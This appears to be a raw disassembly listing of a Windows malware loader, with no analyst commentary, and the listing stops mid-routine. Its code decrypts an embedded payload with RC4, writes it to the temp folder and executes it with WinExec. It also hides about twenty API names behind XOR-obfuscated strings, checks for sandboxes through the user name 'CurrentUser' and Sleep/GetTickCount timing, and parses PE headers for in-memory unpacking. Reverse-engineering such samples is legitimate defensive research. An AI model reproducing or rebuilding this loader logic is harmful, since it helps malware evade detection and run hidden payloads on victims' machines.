		call	sub_40006638	; SizeofResource
		mov	[esi], eax
		push	ebx
		mov	eax, ds:dword_4001E7F8
		push	eax
		call	sub_400065F8	; LoadResource
		mov	ebx, eax
		push	ebx
		call	sub_40006600	; SetHandleCount
		mov	esi, eax
		test	esi, esi
		jz	short loc_40016FCC
		push	ebx
		call	sub_40006550	; FreeResource
		jmp	short loc_40016FD3
; ---------------------------------------------------------------------------


loc_40016FCC:				; CODE XREF: sub_40016F88+3Aj
		push	0
		call	sub_40006530	; ExitProcess


loc_40016FD3:				; CODE XREF: sub_40016F88+42j
		mov	eax, esi
		pop	esi
		pop	ebx
		retn
sub_40016F88	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40016FD8	proc near		; CODE XREF: sub_400171BC+44p

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		push	ebx
		push	esi
		push	edi
		mov	ecx, edx
		test	ecx, ecx
		js	short loc_40016FF1
		shr	ecx, 2


loc_40016FEA:				; CODE XREF: sub_40016FD8+17j
		mov	ebx, [eax+ecx*4]
		dec	ecx
		push	ebx
		jns	short loc_40016FEA


loc_40016FF1:				; CODE XREF: sub_40016FD8+Dj
		mov	eax, esp
		mov	[ebp+var_4], eax
		xor	eax, eax
		mov	[ebp+var_8], eax
		lea	edi, [edx+1]
		xor	ecx, ecx
		mov	ebx, offset dword_4001F3C8
		mov	esi, offset byte_4001F4C8


loc_4001700A:				; CODE XREF: sub_40016FD8+4Cj
		mov	eax, ecx
		cdq
		idiv	edi
		mov	eax, [ebp+var_4]
		movzx	eax, byte ptr [eax+edx+1]
		mov	[ebx], al
		mov	[esi], cl
		inc	ecx
		inc	esi
		inc	ebx
		cmp	ecx, 100h
		jnz	short loc_4001700A
		mov	ecx, 100h
		mov	eax, offset byte_4001F4C8
		mov	edx, offset dword_4001F3C8


loc_40017035:				; CODE XREF: sub_40016FD8+99j
		movzx	ebx, byte ptr [eax]
		mov	esi, ebx
		add	esi, [ebp+var_8]
		movzx	edi, byte ptr [edx]
		add	esi, edi
		and	esi, 800000FFh
		jns	short loc_40017052
		dec	esi
		or	esi, 0FFFFFF00h
		inc	esi


loc_40017052:				; CODE XREF: sub_40016FD8+70j
		mov	[ebp+var_8], esi
		mov	esi, ebx
		mov	ebx, [ebp+var_8]
		movzx	ebx, ds:byte_4001F4C8[ebx]
		mov	[eax], bl
		mov	ebx, esi
		mov	esi, [ebp+var_8]
		mov	ds:byte_4001F4C8[esi], bl
		inc	edx
		inc	eax
		dec	ecx
		jnz	short loc_40017035
		mov	edi, [ebp+var_14]
		mov	esi, [ebp+var_10]
		mov	ebx, [ebp+var_C]
		mov	esp, ebp
		pop	ebp
		retn
sub_40016FD8	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40017080	proc near		; CODE XREF: sub_400171BC+145p

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF0h
		push	ebx
		push	esi
		push	edi
		mov	ebx, edx
		test	ebx, ebx
		js	short loc_40017099
		shr	ebx, 2


loc_40017092:				; CODE XREF: sub_40017080+17j
		mov	esi, [eax+ebx*4]
		dec	ebx
		push	esi
		jns	short loc_40017092


loc_40017099:				; CODE XREF: sub_40017080+Dj
		mov	eax, esp
		mov	[ebp+var_4], ecx
		xor	esi, esi
		xor	ecx, ecx
		inc	edx
		test	edx, edx
		jl	short loc_40017124
		inc	edx
		mov	[ebp+var_10], edx
		mov	edx, [ebp+var_4]


loc_400170AE:				; CODE XREF: sub_40017080+A2j
		inc	esi
		and	esi, 800000FFh
		jns	short loc_400170BF
		dec	esi
		or	esi, 0FFFFFF00h
		inc	esi


loc_400170BF:				; CODE XREF: sub_40017080+35j
		movzx	ebx, ds:byte_4001F4C8[esi]
		add	ecx, ebx
		and	ecx, 800000FFh
		jns	short loc_400170D8
		dec	ecx
		or	ecx, 0FFFFFF00h
		inc	ecx


loc_400170D8:				; CODE XREF: sub_40017080+4Ej
		mov	[ebp+var_C], ebx
		movzx	ebx, ds:byte_4001F4C8[ecx]
		mov	ds:byte_4001F4C8[esi], bl
		movzx	ebx, byte ptr [ebp+var_C]
		mov	ds:byte_4001F4C8[ecx], bl
		movzx	ebx, ds:byte_4001F4C8[esi]
		movzx	edi, ds:byte_4001F4C8[ecx]
		add	ebx, edi
		and	ebx, 0FFh
		movzx	ebx, ds:byte_4001F4C8[ebx]
		movzx	edi, byte ptr [eax]
		xor	ebx, edi
		mov	[ebp+var_8], ebx
		movzx	ebx, byte ptr [ebp+var_8]
		mov	[edx], bl
		inc	edx
		inc	eax
		dec	[ebp+var_10]
		jnz	short loc_400170AE


loc_40017124:				; CODE XREF: sub_40017080+25j
		mov	edi, [ebp+var_1C]
		mov	esi, [ebp+var_18]
		mov	ebx, [ebp+var_14]
		mov	esp, ebp
		pop	ebp
		retn	4
sub_40017080	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40017134	proc near		; CODE XREF: sub_400171BC+94p

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		mov	ebx, edx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		call	sub_40004D38
		xor	eax, eax
		push	ebp
		push	offset loc_400171A3
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		jmp	short loc_40017172
; ---------------------------------------------------------------------------


loc_40017156:				; CODE XREF: sub_40017134+4Dj
		mov	edx, [ebp+var_4]
		mov	eax, offset dword_400171B8
		call	sub_40004E30
		mov	ecx, eax
		lea	eax, [ebp+var_4]
		mov	edx, 1
		call	sub_40004DE8


loc_40017172:				; CODE XREF: sub_40017134+20j
		mov	edx, [ebp+var_4]
		mov	eax, offset dword_400171B8
		call	sub_40004E30
		test	eax, eax
		jnz	short loc_40017156
		mov	eax, ebx
		mov	edx, [ebp+var_4]
		call	sub_400048D8
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_400171AA


loc_4001719A:				; CODE XREF: sub_40017134+74j
		lea	eax, [ebp+var_4]
		call	sub_40004884
		retn
; ---------------------------------------------------------------------------


loc_400171A3:				; DATA XREF: sub_40017134+15o
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_4001719A
; ---------------------------------------------------------------------------


loc_400171AA:				; CODE XREF: sub_40017134+6Ej
					; DATA XREF: sub_40017134+61o
		pop	ebx
		pop	ecx
		pop	ebp
		retn
sub_40017134	endp

; ---------------------------------------------------------------------------
		align 10h
		dd 0FFFFFFFFh, 1
dword_400171B8	dd 5Ch							; sub_40017134+41o

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_400171BC	proc near		; CODE XREF: .itext:40019564p

var_920		= dword	ptr -920h
var_91C		= dword	ptr -91Ch
var_918		= dword	ptr -918h
var_914		= dword	ptr -914h
var_910		= dword	ptr -910h
var_909		= byte ptr -909h
var_804		= byte ptr -804h
var_404		= byte ptr -404h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFF6E0h
		push	ebx
		push	esi
		push	edi
		xor	eax, eax
		mov	[ebp+var_920], eax
		mov	[ebp+var_910], eax
		mov	[ebp+var_914], eax
		mov	[ebp+var_918], eax
		mov	[ebp+var_91C], eax
		xor	eax, eax
		push	ebp
		push	offset loc_40017358
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	eax, offset dword_4001ADB8
		mov	edx, 0FFh
		call	sub_40016FD8
		lea	eax, [ebp+var_909]
		push	eax
		push	105h
		call	sub_400065C0	; GetTempPathA
		lea	eax, [ebp+var_914]
		lea	edx, [ebp+var_909]
		mov	ecx, 105h
		call	sub_40004AF4
		push	[ebp+var_914]
		push	offset dword_40017370
		lea	edx, [ebp+var_91C]
		xor	eax, eax
		call	sub_40002FF8
		mov	eax, [ebp+var_91C]
		lea	edx, [ebp+var_918]
		call	sub_40017134
		push	[ebp+var_918]
		lea	eax, [ebp+var_910]
		mov	edx, 3
		call	sub_40004C08
		mov	eax, [ebp+var_910]
		call	sub_40004D48
		mov	edi, eax
		push	0
		push	80h
		push	3
		push	0
		push	1
		push	80000000h
		lea	edx, [ebp+var_920]
		xor	eax, eax
		call	sub_40002FF8
		mov	eax, [ebp+var_920]
		call	sub_40004D48
		push	eax
		call	sub_40006510	; CreateFileA
		mov	ebx, eax
		push	0
		push	0
		push	3E00h
		push	ebx
		call	sub_40006630	; SetFilePointer
		push	0
		push	80h
		push	2
		push	0
		push	2
		push	40000000h
		push	edi
		call	sub_40006510	; CreateFileA
		mov	esi, eax


loc_400172D3:				; CODE XREF: sub_400171BC+168j
		push	0
		lea	eax, [ebp+var_4]
		push	eax
		push	400h
		lea	eax, [ebp+var_404]
		push	eax
		push	ebx
		call	sub_40006618	; ReadFile
		push	3FFh
		lea	ecx, [ebp+var_804]
		lea	eax, [ebp+var_404]
		mov	edx, 3FFh
		call	sub_40017080
		push	0
		lea	eax, [ebp+var_4]
		push	eax
		mov	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_804]
		push	eax
		push	esi
		call	sub_40006660	; WriteFile
		cmp	[ebp+var_4], 400h
		jnb	short loc_400172D3
		push	ebx
		call	sub_400064F0	; CloseHandle
		push	esi
		call	sub_400064F0	; CloseHandle
		push	0
		push	edi
		call	sub_40006658	; WinExec
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_4001735F


loc_40017347:				; CODE XREF: sub_400171BC+1A1j
		lea	eax, [ebp+var_920]
		mov	edx, 5
		call	sub_400048A8
		retn
; ---------------------------------------------------------------------------


loc_40017358:				; DATA XREF: sub_400171BC+2Fo
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_40017347
; ---------------------------------------------------------------------------


loc_4001735F:				; CODE XREF: sub_400171BC+19Bj
					; DATA XREF: sub_400171BC+186o
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_400171BC	endp

; ---------------------------------------------------------------------------
		align 4
		dd 0FFFFFFFFh, 1
dword_40017370	dd 5Ch		
; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40017374	proc near		; CODE XREF: sub_400173FC+2Dp
					; sub_400173FC+4Ap ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		push	ebx
		push	esi
		xor	ecx, ecx
		mov	[ebp+var_8], ecx
		mov	esi, edx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		call	sub_40004D38
		xor	eax, eax
		push	ebp
		push	offset loc_400173ED
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	ebx, [ebp+var_4]
		test	ebx, ebx
		jz	short loc_400173A8
		sub	ebx, 4
		mov	ebx, [ebx]


loc_400173A8:				; CODE XREF: sub_40017374+2Dj
		push	0
		push	0Ah
		push	0
		push	14h
		lea	edx, [ebp+var_8]
		mov	eax, ebx
		call	sub_40016CE8
		mov	edx, [ebp+var_8]
		lea	ecx, [ebp+var_4]
		mov	eax, [ebp+var_4]
		call	sub_40006A2C
		mov	eax, esi
		mov	edx, [ebp+var_4]
		call	sub_400048D8
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_400173F4


loc_400173DF:				; CODE XREF: sub_40017374+7Ej
		lea	eax, [ebp+var_8]
		mov	edx, 2
		call	sub_400048A8
		retn
; ---------------------------------------------------------------------------


loc_400173ED:				; DATA XREF: sub_40017374+1Do
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_400173DF
; ---------------------------------------------------------------------------


loc_400173F4:				; CODE XREF: sub_40017374+78j
					; DATA XREF: sub_40017374+66o
		pop	esi
		pop	ebx
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_40017374	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_400173FC	proc near		; CODE XREF: .itext:40019569p

var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		mov	ecx, 0Ah


loc_40017404:				; CODE XREF: sub_400173FC+Dj
		push	0
		push	0
		dec	ecx
		jnz	short loc_40017404
		push	ecx
		push	ebx
		push	esi
		mov	esi, offset dword_4001F3B0
		xor	eax, eax
		push	ebp
		push	offset loc_400176B8
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		lea	edx, [ebp+var_4]
		mov	eax, offset dword_400176D0
		call	sub_40017374
		mov	eax, [ebp+var_4]
		call	sub_40004D48
		push	eax
		call	sub_400065F0	; LoadLibraryA
		mov	ebx, eax
		lea	edx, [ebp+var_8]
		mov	eax, offset dword_400176E4
		call	sub_40017374
		mov	eax, [ebp+var_8]
		call	sub_40004D48
		push	eax
		push	ebx
		call	sub_400065A8	; GetProcAddress
		mov	[esi], eax
		lea	edx, [ebp+var_C]
		mov	eax, offset dword_400176FC
		call	sub_40017374
		mov	eax, [ebp+var_C]
		call	sub_40004D48
		push	eax
		push	ebx
		call	dword ptr [esi]
		mov	ds:dword_4001F3B4, eax
		lea	edx, [ebp+var_10]
		mov	eax, offset dword_40017710
		call	sub_40017374
		mov	eax, [ebp+var_10]
		call	sub_40004D48
		push	eax
		push	ebx
		call	dword ptr [esi]
		mov	ds:dword_4001F3B8, eax
		lea	edx, [ebp+var_14]
		mov	eax, offset dword_40017728
		call	sub_40017374
		mov	eax, [ebp+var_14]
		call	sub_40004D48
		push	eax
		push	ebx
		call	dword ptr [esi]
		mov	ds:dword_4001F3BC, eax
		lea	edx, [ebp+var_18]
		mov	eax, offset dword_4001773C
		call	sub_40017374
		mov	eax, [ebp+var_18]
		call	sub_40004D48
		push	eax
		push	ebx
		call	dword ptr [esi]
		mov	ds:dword_4001F3C0, eax
		lea	edx, [ebp+var_1C]
		mov	eax, offset dword_40017750
		call	sub_40017374
		mov	eax, [ebp+var_1C]
		call	sub_40004D48
		push	eax
		push	ebx
		call	dword ptr [esi]
		mov	ds:dword_4001F3C4, eax
		lea	edx, [ebp+var_20]
		mov	eax, offset dword_40017764
		call	sub_40017374
		mov	eax, [ebp+var_20]
		call	sub_40004D48
		push	eax
		push	ebx
		call	dword ptr [esi]
		mov	ds:dword_4001F378, eax
		lea	edx, [ebp+var_24]
		mov	eax, offset dword_4001777C
		call	sub_40017374
		mov	eax, [ebp+var_24]
		call	sub_40004D48
		push	eax
		push	ebx
		call	dword ptr [esi]
		mov	ds:dword_4001F37C, eax
		lea	edx, [ebp+var_28]
		mov	eax, offset dword_40017798
		call	sub_40017374
		mov	eax, [ebp+var_28]
		call	sub_40004D48
		push	eax
		push	ebx
		call	dword ptr [esi]
		mov	ds:dword_4001F384, eax
		lea	edx, [ebp+var_2C]
		mov	eax, offset dword_400177B4
		call	sub_40017374
		mov	eax, [ebp+var_2C]
		call	sub_40004D48
		push	eax
		push	ebx
		call	dword ptr [esi]
		mov	ds:dword_4001F388, eax
		lea	edx, [ebp+var_30]
		mov	eax, offset dword_400177D0
		call	sub_40017374
		mov	eax, [ebp+var_30]
		call	sub_40004D48
		push	eax
		push	ebx
		call	dword ptr [esi]
		mov	ds:dword_4001F38C, eax
		lea	edx, [ebp+var_34]
		mov	eax, offset dword_400177E8
		call	sub_40017374
		mov	eax, [ebp+var_34]
		call	sub_40004D48
		push	eax
		push	ebx
		call	dword ptr [esi]
		mov	ds:dword_4001F394, eax
		lea	edx, [ebp+var_38]
		mov	eax, offset dword_40017800
		call	sub_40017374
		mov	eax, [ebp+var_38]
		call	sub_40004D48
		push	eax
		push	ebx
		call	dword ptr [esi]
		mov	ds:dword_4001F398, eax
		lea	edx, [ebp+var_3C]
		mov	eax, offset dword_40017818
		call	sub_40017374
		mov	eax, [ebp+var_3C]
		call	sub_40004D48
		push	eax
		push	ebx
		call	dword ptr [esi]
		mov	ds:dword_4001F39C, eax
		lea	edx, [ebp+var_40]
		mov	eax, offset dword_40017830
		call	sub_40017374
		mov	eax, [ebp+var_40]
		call	sub_40004D48
		push	eax
		push	ebx
		call	dword ptr [esi]
		mov	ds:dword_4001F3A0, eax
		lea	edx, [ebp+var_44]
		mov	eax, offset dword_40017848
		call	sub_40017374
		mov	eax, [ebp+var_44]
		call	sub_40004D48
		push	eax
		push	ebx
		call	dword ptr [esi]
		mov	ds:dword_4001F3A4, eax
		lea	edx, [ebp+var_48]
		mov	eax, offset dword_4001785C
		call	sub_40017374
		mov	eax, [ebp+var_48]
		call	sub_40004D48
		push	eax
		push	ebx
		call	dword ptr [esi]
		mov	ds:dword_4001F390, eax
		lea	edx, [ebp+var_4C]
		mov	eax, offset dword_40017874
		call	sub_40017374
		mov	eax, [ebp+var_4C]
		call	sub_40004D48
		push	eax
		push	ebx
		call	dword ptr [esi]
		mov	ds:dword_4001F3A8, eax
		lea	edx, [ebp+var_50]
		mov	eax, offset dword_40017890
		call	sub_40017374
		mov	eax, [ebp+var_50]
		call	sub_40004D48
		push	eax
		push	ebx
		call	dword ptr [esi]
		mov	ds:dword_4001F380, eax
		lea	edx, [ebp+var_54]
		mov	eax, offset dword_400178A8
		call	sub_40017374
		mov	eax, [ebp+var_54]
		call	sub_40004D48
		push	eax
		push	ebx
		call	dword ptr [esi]
		mov	ds:dword_4001F3AC, eax
		push	ebx
		call	ds:dword_4001F3A4	; FreeLibrary
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_400176BF


loc_400176AA:				; CODE XREF: sub_400173FC+2C1j
		lea	eax, [ebp+var_54]
		mov	edx, 15h
		call	sub_400048A8
		retn
; ---------------------------------------------------------------------------


loc_400176B8:				; DATA XREF: sub_400173FC+1Ao
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_400176AA
; ---------------------------------------------------------------------------


loc_400176BF:				; CODE XREF: sub_400173FC+2BBj
					; DATA XREF: sub_400173FC+2A9o
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_400173FC	endp

; ---------------------------------------------------------------------------
		align 4
		dd 0FFFFFFFFh, 8
dword_400176D0	dd 2B362609h, 7B7B2B23h, 0		dd 0FFFFFFFFh, 0Eh
dword_400176E4	dd 22051528h, 37161B01h, 0A0B1C13h, 203h, 0FFFFFFFFh, 0Bh
					; DATA XREF: sub_400173FC+45o
dword_400176FC	dd 0E0B1F2Fh, 1A341404h, 371018h, 0FFFFFFFFh, 0Eh
					; DATA XREF: sub_400173FC+63o
dword_40017710	dd 3405153Ch, 2610181Ah, 1B171118h, 315h, 0FFFFFFFFh, 8
					; DATA XREF: sub_400173FC+81o
dword_40017728	dd 21252610h, 2C242E00h, 0		dd 0FFFFFFFFh, 0Bh
dword_4001773C	dd 291A082Bh, 20171D19h, 130F1Dh, 0FFFFFFFFh, 0Bh
					; DATA XREF: sub_400173FC+BDo
dword_40017750	dd 1C01012Fh, 1D133915h, 131910h, 0FFFFFFFFh, 0Ch
					; DATA XREF: sub_400173FC+DBo
dword_40017764	dd 51C0B3Fh, 1C27171Ch,	9161307h, 0		dd 0FFFFFFFFh, 10h
dword_4001777C	dd 20071722h, 1912041Dh, 1F14391Dh, 10C1606h, 0
					; DATA XREF: sub_400173FC+117o
		dd 0FFFFFFFFh, 11h
dword_40017798	dd 11151620h, 1A170526h, 3F0F081Fh, 41A1916h, 0Eh, 0FFFFFFFFh
					; DATA XREF: sub_400173FC+135o
		dd 10h
dword_400177B4	dd 20071736h, 1912041Dh, 1F14391Dh, 10C1606h, 0
					; DATA XREF: sub_400173FC+153o
		dd 0FFFFFFFFh, 0Eh
dword_400177D0	dd 1314022Ch, 4251107h,	1C1C1B18h, 3003h, 0FFFFFFFFh, 0Dh
					; DATA XREF: sub_400173FC+171o
dword_400177E8	dd 151E0628h, 1A071620h, 0B1B0503h, 2Eh, 0FFFFFFFFh, 0Eh
					; DATA XREF: sub_400173FC+18Fo
dword_40017800	dd 170B193Ch, 1327121Ch, 1D0C1704h, 1413h, 0FFFFFFFFh
					; DATA XREF: sub_400173FC+1ADo
		dd 0Ch
dword_40017818	dd 140E0121h, 1B001723h, 8140400h, 0		dd 0FFFFFFFFh, 0Ch
dword_40017830	dd 1B0C0121h, 1B001723h, 8140400h, 0		dd 0FFFFFFFFh, 0Bh
dword_40017848	dd 0A0B1F2Ah, 110183Ch,	0F0715h, 0FFFFFFFFh, 0Ch
					; DATA XREF: sub_400173FC+207o
dword_4001785C	dd 150A1C2Bh, 1B001723h, 8140400h, 0		dd 0FFFFFFFFh, 12h
dword_40017874	dd 21C0624h, 150B2812h,	0E1918h, 181B1039h, 0Ah, 0FFFFFFFFh
					; DATA XREF: sub_400173FC+243o
		dd 0Eh
dword_40017890	dd 6031939h, 37191506h,	0C16141Bh, 1000935h, 0FFFFFFFFh
					; DATA XREF: sub_400173FC+261o
		dd 12h
dword_400178A8	dd 3B011134h, 160C1C18h, 1F143A1Eh, 1A173B11h, 381Dh
					; DATA XREF: sub_400173FC+27Fo

; =============== S U B	R O U T	I N E =======================================



sub_400178BC	proc near		; CODE XREF: sub_400178DC+53p
					; sub_40017A1C+F3p ...
		push	ebx
		mov	ebx, edx
		mov	ecx, eax
		mov	eax, ecx
		xor	edx, edx
		div	ebx
		test	edx, edx
		jnz	short loc_400178CF
		mov	eax, ecx
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_400178CF:				; CODE XREF: sub_400178BC+Dj
		mov	eax, ecx
		xor	edx, edx
		div	ebx
		inc	eax
		imul	ebx
		pop	ebx
		retn
sub_400178BC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_400178DC	proc near		; CODE XREF: sub_40017A1C+7Bp

var_14		= dword	ptr -14h

		push	ebx
		push	esi
		push	edi
		push	ebp
		push	ecx
		mov	ecx, [eax+3Ch]
		add	ecx, eax
		mov	ebp, [ecx+38h]
		mov	ebx, [ecx+54h]
		mov	eax, ebx
		xor	edx, edx
		div	ebp
		test	edx, edx
		jnz	short loc_400178FB
		mov	[esp+14h+var_14], ebx
		jmp	short loc_40017907
; ---------------------------------------------------------------------------


loc_400178FB:				; CODE XREF: sub_400178DC+18j
		mov	eax, ebx
		xor	edx, edx
		div	ebp
		inc	eax
		add	eax, ebp
		mov	[esp+14h+var_14], eax


loc_40017907:				; CODE XREF: sub_400178DC+1Dj
		lea	edi, [ecx+18h]
		movzx	eax, word ptr [ecx+14h]
		add	edi, eax
		movzx	esi, word ptr [ecx+6]
		dec	esi
		test	esi, esi
		jb	short loc_4001793B
		inc	esi
		xor	ebx, ebx


loc_4001791C:				; CODE XREF: sub_400178DC+5Dj
		lea	eax, [ebx+ebx*4]
		cmp	dword ptr [edi+eax*8+8], 0
		jz	short loc_40017937
		lea	eax, [ebx+ebx*4]
		mov	eax, [edi+eax*8+8]
		mov	edx, ebp
		call	sub_400178BC
		add	[esp+14h+var_14], eax


loc_40017937:				; CODE XREF: sub_400178DC+48j
		inc	ebx
		dec	esi
		jnz	short loc_4001791C


loc_4001793B:				; CODE XREF: sub_400178DC+3Bj
		mov	eax, [esp+14h+var_14]
		pop	edx
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_400178DC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40017944	proc near		; CODE XREF: sub_40017A1C+3Cp

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		push	ebx
		push	esi
		xor	eax, eax
		mov	[ebp+var_8], eax
		xor	eax, eax
		push	ebp
		push	offset loc_400179AF
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		xor	ebx, ebx
		mov	eax, 40h
		call	sub_40002C20
		mov	esi, eax
		mov	[ebp+var_4], 40h
		lea	eax, [ebp+var_4]
		push	eax
		push	esi
		call	sub_400064B8	; GetUserNameA
		lea	eax, [ebp+var_8]
		mov	edx, esi
		call	sub_40004A7C
		mov	eax, [ebp+var_8]
		mov	edx, offset aCurrentuser ; "CurrentUser"
		call	sub_40004C94
		jnz	short loc_40017999
		mov	bl, 1


loc_40017999:				; CODE XREF: sub_40017944+51j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_400179B6


loc_400179A6:				; CODE XREF: sub_40017944+70j
		lea	eax, [ebp+var_8]
		call	sub_40004884
		retn
; ---------------------------------------------------------------------------


loc_400179AF:				; DATA XREF: sub_40017944+10o
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_400179A6
; ---------------------------------------------------------------------------


loc_400179B6:				; CODE XREF: sub_40017944+6Aj
					; DATA XREF: sub_40017944+5Do
		mov	eax, ebx
		pop	esi
		pop	ebx
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_40017944	endp

; ---------------------------------------------------------------------------
		align 10h
		dd 0FFFFFFFFh, 0Bh
aCurrentuser	db 'CurrentUser',0      ; DATA XREF: sub_40017944+47o

; =============== S U B	R O U T	I N E =======================================



sub_400179D4	proc near		; CODE XREF: sub_40017A1C+41p
					; sub_40017A1C:loc_40017C5Bp ...
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		call	sub_400065D0	; GetTickCount
		mov	edi, eax
		push	1F4h
		call	sub_40006640	; Sleep
		call	sub_400065D0	; GetTickCount
		mov	esi, eax
		push	1F4h
		call	sub_40006640	; Sleep
		call	sub_400065D0	; GetTickCount
		sub	esi, edi
		cmp	esi, 1F4h
		jge	short loc_40017A15
		sub	eax, edi
		cmp	eax, 3E8h
		jge	short loc_40017A15
		mov	bl, 1


loc_40017A15:				; CODE XREF: sub_400179D4+34j
					; sub_400179D4+3Dj
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_400179D4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40017A1C	proc near		; CODE XREF: .itext:40019849p

var_254		= dword	ptr -254h
var_250		= dword	ptr -250h
var_24C		= dword	ptr -24Ch
var_248		= dword	ptr -248h
var_1A4		= dword	ptr -1A4h
var_198		= dword	ptr -198h
var_179		= byte ptr -179h
var_74		= byte ptr -74h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= byte ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFDACh
		push	ebx
		push	esi
		push	edi
		xor	ecx, ecx
		mov	[ebp+var_254], ecx
		mov	[ebp+var_24C], ecx
		mov	[ebp+var_250], ecx
		mov	[ebp+var_4], edx
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_4]
		call	sub_40004D38
		xor	eax, eax
		push	ebp
		push	offset loc_40017D6A
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		call	sub_40017944
		call	sub_400179D4
		lea	eax, [ebp+var_179]
		xor	ecx, ecx
		mov	edx, 104h
		call	sub_40003580
		push	104h
		lea	eax, [ebp+var_179]
		push	eax
		push	0
		call	ds:dword_4001F3AC	; GetModuleFileNameA
		mov	eax, [ebp+var_8]
		mov	eax, [eax+3Ch]
		add	eax, [ebp+var_8]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_8]
		call	sub_400178DC
		mov	[ebp+var_20], eax
		mov	eax, [ebp+var_20]
		call	sub_40002C20
		mov	[ebp+var_14], eax
		xor	edx, edx
		push	ebp
		push	offset loc_40017D3D
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		mov	eax, [ebp+var_14]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_10]
		mov	eax, [eax+54h]
		mov	edx, [ebp+var_10]
		lea	esi, [edx+18h]
		mov	edx, [ebp+var_10]
		movzx	edx, word ptr [edx+14h]
		add	esi, edx
		mov	edx, [ebp+var_10]
		movzx	edi, word ptr [edx+6]
		dec	edi
		test	edi, edi
		jb	short loc_40017AF6
		inc	edi
		xor	ebx, ebx


loc_40017AE2:				; CODE XREF: sub_40017A1C+D8j
		lea	edx, [ebx+ebx*4]
		cmp	eax, [esi+edx*8+14h]
		jbe	short loc_40017AF2
		lea	eax, [ebx+ebx*4]
		mov	eax, [esi+eax*8+14h]


loc_40017AF2:				; CODE XREF: sub_40017A1C+CDj
		inc	ebx
		dec	edi
		jnz	short loc_40017AE2


loc_40017AF6:				; CODE XREF: sub_40017A1C+C1j
		mov	ecx, eax
